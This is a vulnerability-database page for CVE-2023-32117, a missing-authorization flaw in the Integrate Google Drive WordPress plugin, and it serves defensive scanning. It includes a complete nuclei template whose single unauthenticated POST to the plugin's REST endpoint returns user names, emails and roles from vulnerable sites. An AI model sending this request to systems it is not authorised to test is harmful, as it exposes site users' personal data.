Browse / CVEs / CVE-2023-32117
CVE-2023-32117· softlabbd / integrate google drive
Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints
highseverity
7.3CVSS score
7.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
The Integrate Google Drive plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in versions up to, and including, 1.1.99. This makes it possible for unauthenticated attackers to perform a wide variety of operations, such as moving files, creating folders, copying details, and much more.
Impact
Unauthenticated attackers can access and manipulate sensitive data in Google Drive
Fix
Fixed in 1.2.0
How to confirm it
Send: POST {{BaseURL}}/wp-json/igd/v1/get-users-data
Positive when: contains "\"username\":" and "\"name\":" and "\"email\":" and "\"role\":" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-32117 -u <target>
The full check
id: CVE-2023-32117
info:
name: Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints
author: DhiyaneshDK
severity: high
description: |
The Integrate Google Drive plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in versions up to, and including, 1.1.99. This makes it possible for unauthenticated attackers to perform a wide variety of operations, such as moving files, creating folders, copying details, and much more.
impact: |
Unauthenticated attackers can access and manipulate sensitive data in Google Drive
remediation: Fixed in 1.2.0
reference:
- https://github.com/RandomRobbieBF/CVE-2023-32117
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integrate-google-drive/integrate-google-drive-1199-missing-authorization-via-rest-api-endpoints
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2023-32117
epss-score: 0.07335
epss-percentile: 0.94441
cpe: cpe:2.3:a:softlabbd:integrate_google_drive:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/integrate-google-drive/"
product: integrate_google_drive
vendor: softlabbd
tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,integrate-google-drive,vuln,vkev
http:
- method: POST
path:
- "{{BaseURL}}/wp-json/igd/v1/get-users-data"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"username":'
- '"name":'
- '"email":'
- '"role":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200References
- https://github.com/RandomRobbieBF/CVE-2023-32117
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integrate-google-drive/integrate-google-drive-1199-missing-authorization-via-rest-api-endpoints
Use this check only on systems you are authorised to test. Where the data comes from